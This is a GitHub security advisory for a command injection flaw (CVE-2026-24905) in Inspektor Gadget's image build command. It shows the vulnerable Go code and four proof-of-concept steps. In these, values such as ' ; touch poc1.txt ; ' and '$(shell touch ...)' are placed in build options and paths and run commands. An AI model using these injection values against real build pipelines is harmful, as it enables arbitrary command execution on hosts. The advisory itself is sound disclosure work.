Skip to content

Inspektor Gadget: Command Injection via malicious buildOptions manipulation

Moderate severity GitHub Reviewed Published Jan 29, 2026 in inspektor-gadget/inspektor-gadget • Updated Apr 30, 2026

Package

gomod github.com/inspektor-gadget/inspektor-gadget (Go)

Affected versions

< 0.51.1

Patched versions

0.51.1

Description

Impacted Resources

inspektor-gadget/cmd/common/image/build.go
inspektor-gadget/cmd/common/image/helpers/Makefile.build

Description

The ig binary provides a subcommand for image building, used to generate custom gadget OCI images.

A part of this functionality is implemented in the file inspektor-gadget/cmd/common/image/build.go.

The following is the code responsible to construct the build command:

func buildCmd(options buildOptions) []string {
	cmd := []string{
		"make", "-f", filepath.Join(options.outputDir, "Makefile.build"),
		"-j", fmt.Sprintf("%d", runtime.NumCPU()),
		"OUTPUTDIR=" + options.outputDir,
		"CFLAGS=" + options.cFlags,
		"FORCE_COLORS=" + options.forceColorsFlag,
	}

	if options.ebpfSourcePath != "" {
		cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf")
	}
	if options.wasmSourcePath != "" {
		cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm")
	}
	if options.btfgen {
		cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen")
	}

	return cmd
}

The Makefile.build file is the Makefile template employed during the building process.

This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.

This implementation is vulnerable to command injection: an attacker able to control values in the buildOptions structure would be able to execute arbitrary commands during the building process.

Impact

An attacker able to exploit this vulnerability would be able to execute arbitray command:

  • on the Linux host where the ig command is launched, if images are built with the --local flag
  • on the build container invoked by ig, if the --local flag is not provided

Attack Complexity

The buildOptions structure is extracted from the YAML gadget manifest passed to the ig image build command. Therefore, the attacker would need a way to control either the full build.yml file passed to the ig image build command, or one of its options.

Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.

PoC

PoC 1 (Vector: cflags)

  1. Create the file build.yaml with the following content:
ebpfsource: "program.bpf.c"  
metadata: "gadget.yaml"  
cflags: " ; touch poc1.txt ; "
  1. Create the file gadget.yaml with the following content:
name: test  
description: test gadget  
  1. Create the file program.bpf.c with the following content:
#include <gadget/gadget.h>  
char LICENSE[] SEC("license") = "GPL";
  1. In the same directory where the files are run the command:
ig image build . -t test:latest
  1. Notice that the file poc1.txt gets created inside the directory.

PoC2 (Vector: ebpfsource, wasm)

  1. Create the file build.yaml with the following content:
ebpfsource: "$(shell touch poc2-1.txt)"
wasm: "$(shell touch poc2-2.txt)"
  1. Create the file $(shell touch poc2-1.txt):
touch '$(shell touch poc2-1.txt)'
  1. In the same directory where the files are run the command:
ig image build .
  1. Notice that the files poc2-1.txt and poc2-2.txt get created inside the directory.

PoC3 (Vector: -o, --output)

  1. Create the file build.yaml with the following content:
wasm: dummy.go
  1. Create the file gadget.yaml with the following content:
name: test
  1. Create the directory $(shell touch poc3.txt):
touch '$(shell touch poc3.txt)'
  1. Retrieve the full path of the created directory:
readlink -f '$(shell touch poc3.txt)'
  1. In the same directory where the files are run the command replacing the <PATH> placeholder with the value retrieved at step 4:
ig image build . --local -o '<PATH>'
  1. Notice that the file poc3.txt gets created inside the directory.

PoC4 (Vector: --btfhub-archive)

  1. Create the file build.yaml with the following content:
ebpfsource: test.c
  1. Create the file test.c:
touch test.c
  1. In the same directory where the files are run the command
sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'
  1. Notice that the file poc4.txt gets created inside the directory.

Suggested Remediation

Sanitize build options by providing a robust whitelist to filter on.
Alternatively, revisit the design of image building to prevent shell substitution.

References

References

Published by the National Vulnerability Database Jan 29, 2026
Published to the GitHub Advisory Database Apr 22, 2026
Reviewed Apr 22, 2026
Last updated Apr 30, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(68th percentile)

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-24905

GHSA ID

GHSA-79qw-g77v-2vfh

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.